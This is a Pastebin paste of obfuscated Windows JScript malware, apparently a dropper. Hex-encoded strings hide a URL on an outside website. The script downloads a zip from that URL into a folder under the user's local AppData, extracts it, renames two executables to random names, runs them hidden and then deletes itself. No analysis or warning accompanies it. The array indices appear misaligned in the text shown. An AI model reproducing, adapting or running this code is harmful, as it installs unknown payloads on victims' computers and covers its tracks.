Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /** @type {Array} */
- var _0x9471 = [
- "WScript.NetWork",
- "UserName",
- "UserDomain",
- "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",
- "random",
- "length",
- "floor",
- "substring",
- "0",
- "%",
- "Scripting.FileSystemObject",
- "WScript.Shell",
- "%LocalAppData%",
- "\\Microsoft\\",
- "s/[^0-9A-Z]//g",
- "replace",
- "toUpperCase",
- "charAt",
- "726F6D616E696E672E657865",
- "6D6D7363696E672E657865",
- "2E657865",
- "687474703A2F2F64726976696E672D696E7374727563746F722D6E6577636173746C652E636F6D2F696E636C7564652F636C69702F6D65646D617A2E7A6970",
- "\\",
- "2E7A6970",
- "MSXML2.XMLHTTP",
- "onreadystatechange",
- "readyState",
- "ADODB.Stream",
- "open",
- "type",
- "write",
- "position",
- "saveToFile",
- "close",
- "Shell.Application",
- "getFile",
- "getFolder",
- "Count", '"', "1",
- "2",
- "GET",
- "send",
- "ScriptFullName"
- ];
- var uReEidesQi = {
- "00": 0,
- "01": 1,
- "02": 2,
- "03": 3,
- "04": 4,
- "05": 5,
- "06": 6,
- "07": 7,
- "08": 8,
- "09": 9,
- "0A": 10,
- "0B": 11,
- "0C": 12,
- "0D": 13,
- "0E": 14,
- "0F": 15,
- 10: 16,
- 11: 17,
- 12: 18,
- 13: 19,
- 14: 20,
- 15: 21,
- 16: 22,
- 17: 23,
- 18: 24,
- 19: 25,
- "1A": 26,
- "1B": 27,
- "1C": 28,
- "1D": 29,
- "1E": 30,
- "1F": 31,
- 20: 32,
- 21: 33,
- 22: 34,
- 23: 35,
- 24: 36,
- 25: 37,
- 26: 38,
- 27: 39,
- 28: 40,
- 29: 41,
- "2A": 42,
- "2B": 43,
- "2C": 44,
- "2D": 45,
- "2E": 46,
- "2F": 47,
- 30: 48,
- 31: 49,
- 32: 50,
- 33: 51,
- 34: 52,
- 35: 53,
- 36: 54,
- 37: 55,
- 38: 56,
- 39: 57,
- "3A": 58,
- "3B": 59,
- "3C": 60,
- "3D": 61,
- "3E": 62,
- "3F": 63,
- 40: 64,
- 41: 65,
- 42: 66,
- 43: 67,
- 44: 68,
- 45: 69,
- 46: 70,
- 47: 71,
- 48: 72,
- 49: 73,
- "4A": 74,
- "4B": 75,
- "4C": 76,
- "4D": 77,
- "4E": 78,
- "4F": 79,
- 50: 80,
- 51: 81,
- 52: 82,
- 53: 83,
- 54: 84,
- 55: 85,
- 56: 86,
- 57: 87,
- 58: 88,
- 59: 89,
- "5A": 90,
- "5B": 91,
- "5C": 92,
- "5D": 93,
- "5E": 94,
- "5F": 95,
- 60: 96,
- 61: 97,
- 62: 98,
- 63: 99,
- 64: 100,
- 65: 101,
- 66: 102,
- 67: 103,
- 68: 104,
- 69: 105,
- "6A": 106,
- "6B": 107,
- "6C": 108,
- "6D": 109,
- "6E": 110,
- "6F": 111,
- 70: 112,
- 71: 113,
- 72: 114,
- 73: 115,
- 74: 116,
- 75: 117,
- 76: 118,
- 77: 119,
- 78: 120,
- 79: 121,
- "7A": 122,
- "7B": 123,
- "7C": 124,
- "7D": 125,
- "7E": 126,
- "7F": 127,
- 80: 128,
- 81: 129,
- 82: 130,
- 83: 131,
- 84: 132,
- 85: 133,
- 86: 134,
- 87: 135,
- 88: 136,
- 89: 137,
- "8A": 138,
- "8B": 139,
- "8C": 140,
- "8D": 141,
- "8E": 142,
- "8F": 143,
- 90: 144,
- 91: 145,
- 92: 146,
- 93: 147,
- 94: 148,
- 95: 149,
- 96: 150,
- 97: 151,
- 98: 152,
- 99: 153,
- "9A": 154,
- "9B": 155,
- "9C": 156,
- "9D": 157,
- "9E": 158,
- "9F": 159,
- "A0": 160,
- "A1": 161,
- "A2": 162,
- "A3": 163,
- "A4": 164,
- "A5": 165,
- "A6": 166,
- "A7": 167,
- "A8": 168,
- "A9": 169,
- "AA": 170,
- "AB": 171,
- "AC": 172,
- "AD": 173,
- "AE": 174,
- "AF": 175,
- "B0": 176,
- "B1": 177,
- "B2": 178,
- "B3": 179,
- "B4": 180,
- "B5": 181,
- "B6": 182,
- "B7": 183,
- "B8": 184,
- "B9": 185,
- "BA": 186,
- "BB": 187,
- "BC": 188,
- "BD": 189,
- "BE": 190,
- "BF": 191,
- "C0": 192,
- "C1": 193,
- "C2": 194,
- "C3": 195,
- "C4": 196,
- "C5": 197,
- "C6": 198,
- "C7": 199,
- "C8": 200,
- "C9": 201,
- "CA": 202,
- "CB": 203,
- "CC": 204,
- "CD": 205,
- "CE": 206,
- "CF": 207,
- "D0": 208,
- "D1": 209,
- "D2": 210,
- "D3": 211,
- "D4": 212,
- "D5": 213,
- "D6": 214,
- "D7": 215,
- "D8": 216,
- "D9": 217,
- "DA": 218,
- "DB": 219,
- "DC": 220,
- "DD": 221,
- "DE": 222,
- "DF": 223,
- "E0": 224,
- "E1": 225,
- "E2": 226,
- "E3": 227,
- "E4": 228,
- "E5": 229,
- "E6": 230,
- "E7": 231,
- "E8": 232,
- "E9": 233,
- "EA": 234,
- "EB": 235,
- "EC": 236,
- "ED": 237,
- "EE": 238,
- "EF": 239,
- "F0": 240,
- "F1": 241,
- "F2": 242,
- "F3": 243,
- "F4": 244,
- "F5": 245,
- "F6": 246,
- "F7": 247,
- "F8": 248,
- "F9": 249,
- "FA": 250,
- "FB": 251,
- "FC": 252,
- "FD": 253,
- "FE": 254,
- "FF": 255
- };
- var objNet = new ActiveXObject(_0x9471[0]);
- var strUserName = objNet[_0x9471[1]];
- var strDomain = objNet[_0x9471[2]];
- /**
- * @param {number} opt_attributes
- * @return {?}
- */
- function RCARANDOMIZE(opt_attributes) {
- var collection = _0x9471[3];
- var RCARANDOMIZE = _0x9471[4];
- /** @type {number} */
- i = 0;
- for (; i < opt_attributes; i++) {
- var resp = Math[_0x9471[7]](Math[_0x9471[5]]() * collection[_0x9471[6]]);
- RCARANDOMIZE += collection[_0x9471[8]](resp, resp + 1);
- }
- return RCARANDOMIZE;
- }
- /**
- * @param {(number|string)} code
- * @return {?}
- */
- function BDyuZeiZue(code) {
- code = code.toString(16);
- if (code[_0x9471[6]] == 1) {
- code = _0x9471[9] + code;
- }
- code = _0x9471[10] + code;
- return unescape(code);
- }
- /**
- * @param {?} path
- * @return {undefined}
- */
- function RCACreateFolder(path) {
- var fso = new ActiveXObject(_0x9471[11]);
- if (fso.FolderExists(path) == false) {
- fso.CreateFolder(path);
- }
- }
- var objWShell = new ActiveXObject(_0x9471[12]);
- var RCAAppData = objWShell.ExpandEnvironmentStrings(_0x9471[13]) + _0x9471[14] + strUserName;
- RCACreateFolder(RCAAppData);
- /**
- * @param {Text} dataAndEvents
- * @return {?}
- */
- function DC(dataAndEvents) {
- dataAndEvents = dataAndEvents[_0x9471[17]]()[_0x9471[16]](new RegExp(_0x9471[15]));
- var DC = _0x9471[4];
- var unlock = _0x9471[4];
- /** @type {number} */
- var r20 = 0;
- for (; r20 < dataAndEvents[_0x9471[6]]; r20++) {
- unlock += dataAndEvents[_0x9471[18]](r20);
- if (unlock[_0x9471[6]] == 2) {
- DC += BDyuZeiZue(uReEidesQi[unlock]);
- unlock = _0x9471[4];
- }
- }
- return DC;
- }
- var RCAFILE1 = DC(_0x9471[19]);
- var RCAFILE2 = DC(_0x9471[20]);
- var RCARANDOMIZEFILE1 = RCARANDOMIZE(8) + DC(_0x9471[21]);
- var RCARANDOMIZEFILE2 = RCARANDOMIZE(8) + DC(_0x9471[21]);
- RCALNK(DC(_0x9471[22]), RCAAppData + _0x9471[23] + RCARANDOMIZE(8) + DC(_0x9471[24]), RCAAppData);
- /**
- * @param {?} opt_obj2
- * @param {?} path
- * @param {?} deepDataAndEvents
- * @return {undefined}
- */
- function RCALNK(opt_obj2, path, deepDataAndEvents) {
- var xhr = new ActiveXObject(_0x9471[25]);
- /**
- * @return {undefined}
- */
- xhr[_0x9471[26]] = function() {
- if (xhr[_0x9471[27]] === 4) {
- var pair = new ActiveXObject(_0x9471[28]);
- pair[_0x9471[29]]();
- /** @type {number} */
- pair[_0x9471[30]] = 1;
- pair[_0x9471[31]](xhr.ResponseBody);
- /** @type {number} */
- pair[_0x9471[32]] = 0;
- pair[_0x9471[33]](path, 2);
- pair[_0x9471[34]]();
- var fs = new ActiveXObject(_0x9471[11]);
- var fo = new ActiveXObject(_0x9471[35]);
- var resp = fo.NameSpace(fs[_0x9471[36]](path).Path);
- var row = fo.NameSpace(fs[_0x9471[37]](deepDataAndEvents).Path);
- /** @type {number} */
- var i = 0;
- for (; i < resp.Items()[_0x9471[38]]; i++) {
- row.CopyHere(resp.Items().Item(i), 4 + 16);
- }
- fs.DeleteFile(path);
- fs.MoveFile(deepDataAndEvents + _0x9471[23] + RCAFILE1, deepDataAndEvents + _0x9471[23] + RCARANDOMIZEFILE1);
- fo.ShellExecute(_0x9471[39] + deepDataAndEvents + _0x9471[23] + RCARANDOMIZEFILE1 + _0x9471[39], _0x9471[4], _0x9471[4], _0x9471[29], _0x9471[40]);
- fs.MoveFile(deepDataAndEvents + _0x9471[23] + RCAFILE2, deepDataAndEvents + _0x9471[23] + RCARANDOMIZEFILE2);
- fo.ShellExecute(_0x9471[39] + deepDataAndEvents + _0x9471[23] + RCARANDOMIZEFILE2 + _0x9471[39], _0x9471[4], _0x9471[4], _0x9471[29], _0x9471[41]);
- }
- };
- xhr[_0x9471[29]](_0x9471[42], opt_obj2, false);
- xhr[_0x9471[43]]();
- }
- var teste = WScript[_0x9471[44]];
- var fso = new ActiveXObject(_0x9471[11]);
- fso.DeleteFile(teste);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement